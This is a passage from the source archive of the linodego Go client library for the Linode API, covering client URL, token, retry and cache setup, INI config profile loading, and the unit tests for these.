nil, fmt.Errorf("failed to parse URL: %w", err) } // Create a new URL excluding the path to use as the base URL baseURL := &url.URL{ Host: parsedURL.Host, Scheme: parsedURL.Scheme, } c.SetBaseURL(baseURL.String()) versionMatches := regexp.MustCompile(`/v[a-zA-Z0-9]+`).FindAllString(parsedURL.Path, -1) // Only set the version if a version is found in the URL, else use the default if len(versionMatches) > 0 { c.SetAPIVersion( strings.Trim(versionMatches[len(versionMatches)-1], "/"), ) } return c, nil } // SetBaseURL sets the base URL of the Linode v4 API (https://api.linode.com/v4) func (c *Client) SetBaseURL(baseURL string) *Client { baseURLPath, _ := url.Parse(baseURL) c.baseURL = path.Join(baseURLPath.Host, baseURLPath.Path) c.apiProto = baseURLPath.Scheme c.updateHostURL() return c } // SetAPIVersion sets the version of the API to interface with func (c *Client) SetAPIVersion(apiVersion string) *Client { c.apiVersion = apiVersion c.updateHostURL() return c } func (c *Client) updateHostURL() { apiProto := APIProto baseURL := APIHost apiVersion := APIVersion if c.baseURL != "" { baseURL = c.baseURL } if c.apiVersion != "" { apiVersion = c.apiVersion } if c.apiProto != "" { apiProto = c.apiProto } c.resty.SetBaseURL( fmt.Sprintf( "%s://%s/%s", apiProto, baseURL, url.PathEscape(apiVersion), ), ) } // SetRootCertificate adds a root certificate to the underlying TLS client config func (c *Client) SetRootCertificate(path string) *Client { c.resty.SetRootCertificate(path) return c } // SetToken sets the API token for all requests from this client // Only necessary if you haven't already provided the http client to NewClient() configured with the token. func (c *Client) SetToken(token string) *Client { c.resty.SetHeader("Authorization", fmt.Sprintf("Bearer %s", token)) return c } // SetRetries adds retry conditions for "Linode Busy." errors and 429s. func (c *Client) SetRetries() *Client { c. addRetryConditional(linodeBusyRetryCondition). addRetryConditional(tooManyRequestsRetryCondition). addRetryConditional(serviceUnavailableRetryCondition). addRetryConditional(requestTimeoutRetryCondition). addRetryConditional(requestGOAWAYRetryCondition). addRetryConditional(requestNGINXRetryCondition). SetRetryMaxWaitTime(APIRetryMaxWaitTime) configureRetries(c) return c } // AddRetryCondition adds a RetryConditional function to the Client func (c *Client) AddRetryCondition(retryCondition RetryConditional) *Client { c.resty.AddRetryCondition(resty.RetryConditionFunc(retryCondition)) return c } func (c *Client) addRetryConditional(retryConditional RetryConditional) *Client { c.retryConditionals = append(c.retryConditionals, retryConditional) return c } func (c *Client) addCachedResponse(endpoint string, response any, expiry *time.Duration) { if !c.shouldCache { return } responseValue := reflect.ValueOf(response) entry := clientCacheEntry{ Created: time.Now(), ExpiryOverride: expiry, } switch responseValue.Kind() { case reflect.Ptr: // We want to automatically deref pointers to // avoid caching mutable data. entry.Data = responseValue.Elem().Interface() default: entry.Data = response } c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() c.cachedEntries[endpoint] = entry } func (c *Client) getCachedResponse(endpoint string) any { if !c.shouldCache { return nil } c.cachedEntryLock.RLock() // Hacky logic to dynamically RUnlock // only if it is still locked by the // end of the function. // This is necessary as we take write // access if the entry has expired. rLocked := true defer func() { if rLocked { c.cachedEntryLock.RUnlock() } }() entry, ok := c.cachedEntries[endpoint] if !ok { return nil } // Handle expired entries elapsedTime := time.Since(entry.Created) hasExpired := elapsedTime > c.cacheExpiration if entry.ExpiryOverride != nil { hasExpired = elapsedTime > *entry.ExpiryOverride } if hasExpired { // We need to give up our read access and request read-write access c.cachedEntryLock.RUnlock() rLocked = false c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() delete(c.cachedEntries, endpoint) return nil } return c.cachedEntries[endpoint].Data } // InvalidateCache clears all cached responses for all endpoints. func (c *Client) InvalidateCache() { c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() // GC will handle the old map c.cachedEntries = make(map[string]clientCacheEntry) } // InvalidateCacheEndpoint invalidates a single cached endpoint. func (c *Client) InvalidateCacheEndpoint(endpoint string) error { u, err := url.Parse(endpoint) if err != nil { return fmt.Errorf("failed to parse URL for caching: %w", err) } c.cachedEntryLock.Lock() defer c.cachedEntryLock.Unlock() delete(c.cachedEntries, u.Path) return nil } // SetGlobalCacheExpiration sets the desired time for any cached response // to be valid for. func (c *Client) SetGlobalCacheExpiration(expiryTime time.Duration) { c.cacheExpiration = expiryTime } // UseCache sets whether response caching should be used func (c *Client) UseCache(value bool) { c.shouldCache = value } // SetRetryMaxWaitTime sets the maximum delay before retrying a request. func (c *Client) SetRetryMaxWaitTime(maxWaitTime time.Duration) *Client { c.resty.SetRetryMaxWaitTime(maxWaitTime) return c } // SetRetryWaitTime sets the default (minimum) delay before retrying a request. func (c *Client) SetRetryWaitTime(minWaitTime time.Duration) *Client { c.resty.SetRetryWaitTime(minWaitTime) return c } // SetRetryAfter sets the callback function to be invoked with a failed request // to determine wben it should be retried. func (c *Client) SetRetryAfter(callback RetryAfter) *Client { c.resty.SetRetryAfter(resty.RetryAfterFunc(callback)) return c } // SetRetryCount sets the maximum retry attempts before aborting. func (c *Client) SetRetryCount(count int) *Client { c.resty.SetRetryCount(count) return c } // SetPollDelay sets the number of milliseconds to wait between events or status polls. // Affects all WaitFor* functions and retries. func (c *Client) SetPollDelay(delay time.Duration) *Client { c.pollInterval = delay return c } // GetPollDelay gets the number of milliseconds to wait between events or status polls. // Affects all WaitFor* functions and retries. func (c *Client) GetPollDelay() time.Duration { return c.pollInterval } // SetHeader sets a custom header to be used in all API requests made with the current // client. // NOTE: Some headers may be overridden by the individual request functions. func (c *Client) SetHeader(name, value string) { c.resty.SetHeader(name, value) } func (c *Client) enableLogSanitization() *Client { c.resty.OnRequestLog(func(r *resty.RequestLog) error { // masking authorization header r.Header.Set("Authorization", "Bearer *******************************") return nil }) return c } // NewClient factory to create new Client struct func NewClient(hc *http.Client) (client Client) { if hc != nil { client.resty = resty.NewWithClient(hc) } else { client.resty = resty.New() } client.shouldCache = true client.cacheExpiration = APIDefaultCacheExpiration client.cachedEntries = make(map[string]clientCacheEntry) client.cachedEntryLock = &sync.RWMutex{} client.SetUserAgent(DefaultUserAgent) baseURL, baseURLExists := os.LookupEnv(APIHostVar) if baseURLExists { client.SetBaseURL(baseURL) } apiVersion, apiVersionExists := os.LookupEnv(APIVersionVar) if apiVersionExists { client.SetAPIVersion(apiVersion) } else { client.SetAPIVersion(APIVersion) } certPath, certPathExists := os.LookupEnv(APIHostCert) if certPathExists && !hasCustomTransport(hc) { cert, err := os.ReadFile(filepath.Clean(certPath)) if err != nil { log.Fatalf("[ERROR] Error when reading cert at %s: %s\n", certPath, err.Error()) } client.SetRootCertificate(certPath) if envDebug { log.Printf("[DEBUG] Set API root certificate to %s with contents %s\n", certPath, cert) } } client. SetRetryWaitTime(APISecondsPerPoll * time.Second). SetPollDelay(APISecondsPerPoll * time.Second). SetRetries(). SetDebug(envDebug). enableLogSanitization() return } // NewClientFromEnv creates a Client and initializes it with values // from the LINODE_CONFIG file and the LINODE_TOKEN environment variable. func NewClientFromEnv(hc *http.Client) (*Client, error) { client := NewClient(hc) // Users are expected to chain NewClient(...) and LoadConfig(...) to customize these options configPath, err := resolveValidConfigPath() if err != nil { return nil, err } // Populate the token from the environment. // Tokens should be first priority to maintain backwards compatibility if token, ok := os.LookupEnv(APIEnvVar); ok && token != "" { client.SetToken(token) return &client, nil } if p, ok := os.LookupEnv(APIConfigEnvVar); ok { configPath = p } else if !ok && configPath == "" { return nil, fmt.Errorf("no linode config file or token found") } configProfile := DefaultConfigProfile if p, ok := os.LookupEnv(APIConfigProfileEnvVar); ok { configProfile = p } client.selectedProfile = configProfile // We should only load the config if the config file exists if _, err = os.Stat(configPath); err != nil { return nil, fmt.Errorf("error loading config file %s: %w", configPath, err) } err = client.preLoadConfig(configPath) return &client, err } func (c *Client) preLoadConfig(configPath string) error { if envDebug { log.Printf("[INFO] Loading profile from %s\n", configPath) } if err := c.LoadConfig(&LoadConfigOptions{ Path: configPath, SkipLoadProfile: true, }); err != nil { return err } // We don't want to load the profile until the user is actually making requests c.OnBeforeRequest(func(_ *Request) error { if c.loadedProfile != c.selectedProfile { if err := c.UseProfile(c.selectedProfile); err != nil { return err } } return nil }) return nil } func copyBool(bPtr *bool) *bool { if bPtr == nil { return nil } t := *bPtr return &t } func copyInt(iPtr *int) *int { if iPtr == nil { return nil } t := *iPtr return &t } func copyString(sPtr *string) *string { if sPtr == nil { return nil } t := *sPtr return &t } func copyTime(tPtr *time.Time) *time.Time { if tPtr == nil { return nil } t := *tPtr return &t } func generateListCacheURL(endpoint string, opts *ListOptions) (string, error) { if opts == nil { return endpoint, nil } hashedOpts, err := opts.Hash() if err != nil { return endpoint, err } return fmt.Sprintf("%s:%s", endpoint, hashedOpts), nil } func hasCustomTransport(hc *http.Client) bool { if hc == nil { return false } if hc.Transport != http.DefaultTransport.(*http.Transport) { log.Println("[WARN] Custom transport is not allowed with a custom root CA.") return true } return false } golang-github-linode-linodego-1.47.0/client_http.go000066400000000000000000000020241474652371000222530ustar00rootroot00000000000000package linodego import ( "net/http" "sync" "time" ) // Client is a wrapper around the Resty client // //nolint:unused type httpClient struct { //nolint:unused httpClient *http.Client //nolint:unused userAgent string //nolint:unused debug bool //nolint:unused retryConditionals []httpRetryConditional //nolint:unused retryAfter httpRetryAfter //nolint:unused pollInterval time.Duration //nolint:unused baseURL string //nolint:unused apiVersion string //nolint:unused apiProto string //nolint:unused selectedProfile string //nolint:unused loadedProfile string //nolint:unused configProfiles map[string]ConfigProfile // Fields for caching endpoint responses //nolint:unused shouldCache bool //nolint:unused cacheExpiration time.Duration //nolint:unused cachedEntries map[string]clientCacheEntry //nolint:unused cachedEntryLock *sync.RWMutex //nolint:unused logger httpLogger //nolint:unused onBeforeRequest []func(*http.Request) error //nolint:unused onAfterResponse []func(*http.Response) error } golang-github-linode-linodego-1.47.0/client_test.go000066400000000000000000000405071474652371000222630ustar00rootroot00000000000000package linodego import ( "bytes" "context" "errors" "fmt" "log" "net/http" "net/http/httptest" "os" "reflect" "strings" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego/internal/testutil" ) func TestClient_SetAPIVersion(t *testing.T) { defaultURL := "https://api.linode.com/v4" baseURL := "api.very.cool.com" apiVersion := "v4beta" expectedHost := fmt.Sprintf("https://%s/%s", baseURL, apiVersion) updatedBaseURL := "api.more.cool.com" updatedAPIVersion := "v4beta_changed" updatedExpectedHost := fmt.Sprintf("https://%s/%s", updatedBaseURL, updatedAPIVersion) protocolBaseURL := "http://api.more.cool.com" protocolAPIVersion := "v4_http" protocolExpectedHost := fmt.Sprintf("%s/%s", protocolBaseURL, protocolAPIVersion) client := NewClient(nil) if client.resty.BaseURL != defaultURL { t.Fatal(cmp.Diff(client.resty.BaseURL, defaultURL)) } client.SetBaseURL(baseURL) client.SetAPIVersion(apiVersion) if client.resty.BaseURL != expectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } // Ensure setting twice does not cause conflicts client.SetBaseURL(updatedBaseURL) client.SetAPIVersion(updatedAPIVersion) if client.resty.BaseURL != updatedExpectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, updatedExpectedHost)) } // Revert client.SetBaseURL(baseURL) client.SetAPIVersion(apiVersion) if client.resty.BaseURL != expectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } // Custom protocol client.SetBaseURL(protocolBaseURL) client.SetAPIVersion(protocolAPIVersion) if client.resty.BaseURL != protocolExpectedHost { t.Fatal(cmp.Diff(client.resty.BaseURL, expectedHost)) } } func TestClient_NewFromEnv(t *testing.T) { file := createTestConfig(t, configNewFromEnv) // This is cool t.Setenv(APIEnvVar, "") t.Setenv(APIConfigEnvVar, file.Name()) t.Setenv(APIConfigProfileEnvVar, "cool") client, err := NewClientFromEnv(nil) if err != nil { t.Fatal(err) } if client.selectedProfile != "cool" { t.Fatalf("mismatched profile: %s != %s", client.selectedProfile, "cool") } if client.loadedProfile != "" { t.Fatal("expected empty loaded profile") } if err := client.UseProfile("cool"); err != nil { t.Fatal(err) } if client.loadedProfile != "cool" { t.Fatal("expected cool as loaded profile") } } func TestClient_NewFromEnvToken(t *testing.T) { t.Setenv(APIEnvVar, "blah") client, err := NewClientFromEnv(nil) if err != nil { t.Fatal(err) } if client.resty.Header.Get("Authorization") != "Bearer blah" { t.Fatal("token not found in auth header: blah") } } func TestClient_UseURL(t *testing.T) { client := NewClient(nil) if _, err := client.UseURL("https://api.test1.linode.com/"); err != nil { t.Fatal(err) } if client.baseURL != "api.test1.linode.com" { t.Fatalf("mismatched base url: %s", client.baseURL) } if client.apiVersion != "v4" { t.Fatalf("mismatched api version: %s", client.apiVersion) } if _, err := client.UseURL("https://api.test2.linode.com/v4beta"); err != nil { t.Fatal(err) } if client.baseURL != "api.test2.linode.com" { t.Fatalf("mismatched base url: %s", client.baseURL) } if client.apiVersion != "v4beta" { t.Fatalf("mismatched api version: %s", client.apiVersion) } } const configNewFromEnv = ` [default] api_url = api.cool.linode.com api_version = v4beta [cool] token = blah ` func TestDebugLogSanitization(t *testing.T) { type instanceResponse struct { ID int `json:"id"` Region string `json:"region"` Label string `json:"label"` } testResp := instanceResponse{ ID: 100, Region: "test-central", Label: "this-is-a-test-linode", } var lgr bytes.Buffer plainTextToken := "NOTANAPIKEY" mockClient := testutil.CreateMockClient(t, NewClient) logger := testutil.CreateLogger() mockClient.SetLogger(logger) logger.L.SetOutput(&lgr) mockClient.SetDebug(true) if !mockClient.resty.Debug { t.Fatal("debug should be enabled") } mockClient.SetHeader("Authorization", fmt.Sprintf("Bearer %s", plainTextToken)) if mockClient.resty.Header.Get("Authorization") != fmt.Sprintf("Bearer %s", plainTextToken) { t.Fatal("token not found in auth header") } httpmock.RegisterRegexpResponder("GET", testutil.MockRequestURL("/linode/instances"), httpmock.NewJsonResponderOrPanic(200, &testResp)) result, err := doGETRequest[instanceResponse]( context.Background(), mockClient, "/linode/instances", ) if err != nil { t.Fatal(err) } logInfo := lgr.String() if !strings.Contains(logInfo, "Bearer *******************************") { t.Fatal("sanitized bearer token was expected") } if !reflect.DeepEqual(*result, testResp) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestDoRequest_Success(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } params := RequestParams{ Response: &map[string]string{}, } err := client.doRequest(context.Background(), http.MethodGet, server.URL, params) if err != nil { t.Fatal(cmp.Diff(nil, err)) } expected := "success" actual := (*params.Response.(*map[string]string))["message"] if diff := cmp.Diff(expected, actual); diff != "" { t.Fatalf("response mismatch (-expected +actual):\n%s", diff) } } func TestDoRequest_FailedEncodeBody(t *testing.T) { client := &httpClient{ httpClient: http.DefaultClient, } params := RequestParams{ Body: map[string]interface{}{ "invalid": func() {}, }, } err := client.doRequest(context.Background(), http.MethodPost, "http://example.com", params) expectedErr := "failed to encode body" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } } func TestDoRequest_FailedCreateRequest(t *testing.T) { client := &httpClient{ httpClient: http.DefaultClient, } // Create a request with an invalid URL to simulate a request creation failure err := client.doRequest(context.Background(), http.MethodGet, "http://invalid url", RequestParams{}) expectedErr := "failed to create request" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } } func TestDoRequest_Non2xxStatusCode(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { http.Error(w, "error", http.StatusInternalServerError) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } err := client.doRequest(context.Background(), http.MethodGet, server.URL, RequestParams{}) if err == nil { t.Fatal("expected error, got nil") } httpError, ok := err.(Error) if !ok { t.Fatalf("expected error to be of type Error, got %T", err) } if httpError.Code != http.StatusInternalServerError { t.Fatalf("expected status code %d, got %d", http.StatusInternalServerError, httpError.Code) } if !strings.Contains(httpError.Message, "error") { t.Fatalf("expected error message to contain %q, got %v", "error", httpError.Message) } } func TestDoRequest_FailedDecodeResponse(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`invalid json`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } params := RequestParams{ Response: &map[string]string{}, } err := client.doRequest(context.Background(), http.MethodGet, server.URL, params) expectedErr := "failed to decode response" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } } func TestDoRequest_BeforeRequestSuccess(t *testing.T) { var capturedRequest *http.Request handler := func(w http.ResponseWriter, r *http.Request) { capturedRequest = r // Capture the request to inspect it later w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } // Define a mutator that successfully modifies the request mutator := func(req *http.Request) error { req.Header.Set("X-Custom-Header", "CustomValue") return nil } client.httpOnBeforeRequest(mutator) err := client.doRequest(context.Background(), http.MethodGet, server.URL, RequestParams{}) if err != nil { t.Fatalf("expected no error, got: %v", err) } // Check if the header was successfully added to the captured request if reqHeader := capturedRequest.Header.Get("X-Custom-Header"); reqHeader != "CustomValue" { t.Fatalf("expected X-Custom-Header to be set to CustomValue, got: %v", reqHeader) } } func TestDoRequest_BeforeRequestError(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } mutator := func(req *http.Request) error { return errors.New("mutator error") } client.httpOnBeforeRequest(mutator) err := client.doRequest(context.Background(), http.MethodGet, server.URL, RequestParams{}) expectedErr := "failed to mutate before request" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } } func TestDoRequest_AfterResponseSuccess(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() // Create a custom RoundTripper to capture the response tr := &testRoundTripper{ Transport: server.Client().Transport, } client := &httpClient{ httpClient: &http.Client{Transport: tr}, } mutator := func(resp *http.Response) error { resp.Header.Set("X-Modified-Header", "ModifiedValue") return nil } client.httpOnAfterResponse(mutator) err := client.doRequest(context.Background(), http.MethodGet, server.URL, RequestParams{}) if err != nil { t.Fatalf("expected no error, got: %v", err) } // Check if the header was successfully added to the response if respHeader := tr.Response.Header.Get("X-Modified-Header"); respHeader != "ModifiedValue" { t.Fatalf("expected X-Modified-Header to be set to ModifiedValue, got: %v", respHeader) } } func TestDoRequest_AfterResponseError(t *testing.T) { handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() client := &httpClient{ httpClient: server.Client(), } mutator := func(resp *http.Response) error { return errors.New("mutator error") } client.httpOnAfterResponse(mutator) err := client.doRequest(context.Background(), http.MethodGet, server.URL, RequestParams{}) expectedErr := "failed to mutate after response" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } } func TestDoRequestLogging_Success(t *testing.T) { var logBuffer bytes.Buffer logger := createLogger() logger.l.SetOutput(&logBuffer) // Redirect log output to buffer client := &httpClient{ httpClient: http.DefaultClient, debug: true, logger: logger, } handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() params := RequestParams{ Response: &map[string]string{}, } err := client.doRequest(context.Background(), http.MethodGet, server.URL, params) if err != nil { t.Fatal(cmp.Diff(nil, err)) } logInfo := logBuffer.String() logInfoWithoutTimestamps := removeTimestamps(logInfo) // Expected logs with templates filled in expectedRequestLog := "DEBUG RESTY Sending request:\nMethod: GET\nURL: " + server.URL + "\nHeaders: map[Accept:[application/json] Content-Type:[application/json]]\nBody: " expectedResponseLog := "DEBUG RESTY Received response:\nStatus: 200 OK\nHeaders: map[Content-Length:[21] Content-Type:[text/plain; charset=utf-8]]\nBody: {\"message\":\"success\"}" if !strings.Contains(logInfo, expectedRequestLog) { t.Fatalf("expected log %q not found in logs", expectedRequestLog) } if !strings.Contains(logInfoWithoutTimestamps, expectedResponseLog) { t.Fatalf("expected log %q not found in logs", expectedResponseLog) } } func TestDoRequestLogging_Error(t *testing.T) { var logBuffer bytes.Buffer logger := createLogger() logger.l.SetOutput(&logBuffer) // Redirect log output to buffer client := &httpClient{ httpClient: http.DefaultClient, debug: true, logger: logger, } params := RequestParams{ Body: map[string]interface{}{ "invalid": func() {}, }, } err := client.doRequest(context.Background(), http.MethodPost, "http://example.com", params) expectedErr := "failed to encode body" if err == nil || !strings.Contains(err.Error(), expectedErr) { t.Fatalf("expected error %q, got: %v", expectedErr, err) } logInfo := logBuffer.String() expectedLog := "ERROR RESTY failed to encode body" if !strings.Contains(logInfo, expectedLog) { t.Fatalf("expected log %q not found in logs", expectedLog) } } func removeTimestamps(log string) string { lines := strings.Split(log, "\n") var filteredLines []string for _, line := range lines { // Find the index of the "Date:" substring if index := strings.Index(line, "Date:"); index != -1 { // Cut off everything after "Date:" trimmedLine := strings.TrimSpace(line[:index]) filteredLines = append(filteredLines, trimmedLine+"]") } else { filteredLines = append(filteredLines, line) } } return strings.Join(filteredLines, "\n") } type testRoundTripper struct { Transport http.RoundTripper Response *http.Response } func (t *testRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { resp, err := t.Transport.RoundTrip(req) if err == nil { t.Response = resp } return resp, err } func TestClient_CustomRootCAWithCustomRoundTripper(t *testing.T) { caFile, err := os.CreateTemp(t.TempDir(), "linodego_test_ca_*") if err != nil { t.Fatalf("Failed to create temp ca file: %s", err) } defer os.Remove(caFile.Name()) t.Setenv(APIHostCert, caFile.Name()) handler := func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"message":"success"}`)) } server := httptest.NewServer(http.HandlerFunc(handler)) defer server.Close() // Create a custom RoundTripper tr := &testRoundTripper{ Transport: server.Client().Transport, } buf := new(strings.Builder) log.SetOutput(buf) NewClient(&http.Client{Transport: tr}) expectedLog := "Custom transport is not allowed with a custom root CA" if !strings.Contains(buf.String(), expectedLog) { t.Fatalf("expected log %q not found in logs", expectedLog) } log.SetOutput(os.Stderr) } func TestClient_CustomRootCAWithoutCustomRoundTripper(t *testing.T) { caFile, err := os.CreateTemp(t.TempDir(), "linodego_test_ca_*") if err != nil { t.Fatalf("Failed to create temp ca file: %s", err) } defer os.Remove(caFile.Name()) for _, setCA := range []bool{false, true} { if setCA { t.Setenv(APIHostCert, caFile.Name()) } client := NewClient(nil) transport, err := client.resty.Transport() if err != nil { t.Fatal(err) } if setCA && (transport.TLSClientConfig == nil || transport.TLSClientConfig.RootCAs == nil) { t.Error("expected root CAs to be set") } if !setCA && transport.TLSClientConfig != nil { t.Errorf("didn't set a custom CA, but client TLS config is not nil: %#v", transport.TLSClientConfig) } } } golang-github-linode-linodego-1.47.0/config.go000066400000000000000000000060021474652371000212030ustar00rootroot00000000000000package linodego import ( "fmt" "os" "strings" "gopkg.in/ini.v1" ) const ( DefaultConfigProfile = "default" ) var DefaultConfigPaths = []string{ "%s/.config/linode", "%s/.config/linode-cli", } type ConfigProfile struct { APIToken string `ini:"token"` APIVersion string `ini:"api_version"` APIURL string `ini:"api_url"` } type LoadConfigOptions struct { Path string Profile string SkipLoadProfile bool } // LoadConfig loads a Linode config according to the option's argument. // If no options are specified, the following defaults will be used: // Path: ~/.config/linode // Profile: default func (c *Client) LoadConfig(options *LoadConfigOptions) error { path, err := resolveValidConfigPath() if err != nil { return err } profileOption := DefaultConfigProfile if options != nil { if options.Path != "" { path = options.Path } if options.Profile != "" { profileOption = options.Profile } } cfg, err := ini.Load(path) if err != nil { return err } defaultConfig := ConfigProfile{ APIToken: "", APIURL: APIHost, APIVersion: APIVersion, } if cfg.HasSection("default") { err := cfg.Section("default").MapTo(&defaultConfig) if err != nil { return fmt.Errorf("failed to map default profile: %w", err) } } result := make(map[string]ConfigProfile) for _, profile := range cfg.Sections() { name := strings.ToLower(profile.Name()) f := defaultConfig if err := profile.MapTo(&f); err != nil { return fmt.Errorf("failed to map values: %w", err) } result[name] = f } c.configProfiles = result if !options.SkipLoadProfile { if err := c.UseProfile(profileOption); err != nil { return fmt.Errorf("unable to use profile %s: %w", profileOption, err) } } return nil } // UseProfile switches client to use the specified profile. // The specified profile must be already be loaded using client.LoadConfig(...) func (c *Client) UseProfile(name string) error { name = strings.ToLower(name) profile, ok := c.configProfiles[name] if !ok { return fmt.Errorf("profile %s does not exist", name) } if profile.APIToken == "" { return fmt.Errorf("unable to resolve linode_token for profile %s", name) } if profile.APIURL == "" { return fmt.Errorf("unable to resolve linode_api_url for profile %s", name) } if profile.APIVersion == "" { return fmt.Errorf("unable to resolve linode_api_version for profile %s", name) } c.SetToken(profile.APIToken) c.SetBaseURL(profile.APIURL) c.SetAPIVersion(profile.APIVersion) c.selectedProfile = name c.loadedProfile = name return nil } func FormatConfigPath(path string) (string, error) { homeDir, err := os.UserHomeDir() if err != nil { return "", err } return fmt.Sprintf(path, homeDir), nil } func resolveValidConfigPath() (string, error) { for _, cfg := range DefaultConfigPaths { p, err := FormatConfigPath(cfg) if err != nil { return "", err } if _, err = os.Stat(p); err != nil { continue } return p, err } // An empty result may not be an error return "", nil } golang-github-linode-linodego-1.47.0/config_test.go000066400000000000000000000071631474652371000222530ustar00rootroot00000000000000package linodego import ( "fmt" "os" "testing" ) func TestConfig_LoadWithDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configLoadWithDefault) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 1 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 1) } p, ok := client.configProfiles["default"] if !ok { t.Fatalf("default profile does not exist") } if p.APIToken != "blah" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "blah") } if p.APIURL != "api.cool.linode.com" { t.Fatalf("mismatched api url: %s != %s", p.APIURL, "api.cool.linode.com") } if p.APIVersion != "v4beta" { t.Fatalf("mismatched api version: %s != %s", p.APIVersion, "v4beta") } expectedURL := "https://api.cool.linode.com/v4beta" if client.resty.BaseURL != expectedURL { t.Fatalf("mismatched host url: %s != %s", client.resty.BaseURL, expectedURL) } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func TestConfig_OverrideDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configOverrideDefaults) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), Profile: "cool", }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 2 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 2) } p, ok := client.configProfiles["cool"] if !ok { t.Fatalf("cool profile does not exist") } if p.APIToken != "blah" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "blah") } if p.APIURL != "api.cool.linode.com" { t.Fatalf("mismatched api url: %s != %s", p.APIURL, "api.cool.linode.com") } if p.APIVersion != "v4" { t.Fatalf("mismatched api version: %s != %s", p.APIVersion, "v4") } expectedURL := "https://api.cool.linode.com/v4" if client.resty.BaseURL != expectedURL { t.Fatalf("mismatched host url: %s != %s", client.resty.BaseURL, expectedURL) } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func TestConfig_NoDefaults(t *testing.T) { client := NewClient(nil) file := createTestConfig(t, configNoDefaults) err := client.LoadConfig(&LoadConfigOptions{ Path: file.Name(), Profile: "cool", }) if err != nil { t.Fatal(err) } if len(client.configProfiles) != 2 { fmt.Println(client.configProfiles) t.Fatalf("mismatched profile count: %d != %d", len(client.configProfiles), 2) } p, ok := client.configProfiles["cool"] if !ok { t.Fatalf("cool profile does not exist") } if p.APIToken != "mytoken" { t.Fatalf("mismatched api token: %s != %s", p.APIToken, "mytoken") } if client.resty.Header.Get("Authorization") != "Bearer "+p.APIToken { t.Fatalf("token not found in auth header: %s", p.APIToken) } } func createTestConfig(t *testing.T, conf string) *os.File { file, err := os.CreateTemp("", "linode") if err != nil { t.Fatal(err) } fmt.Fprint(file, conf) t.Cleanup(func() { file.Close() os.Remove(file.Name()) }) return file } const configLoadWithDefault = ` [default] token = blah api_url = api.cool.linode.com api_version = v4beta ` const configOverrideDefaults = ` [default] token = blah api_url = api.cool.linode.com api_version = v4beta [cool] api_version = v4 # Values from default are inherited here ` const configNoDefaults = ` [cool] token = mytoken # Linodego default values are inherited here ` golang-github-linode-linodego-1.47.0/databases.go000066400000000000000000000216031474652371000216710ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type ( DatabaseEngineType string DatabaseDayOfWeek int 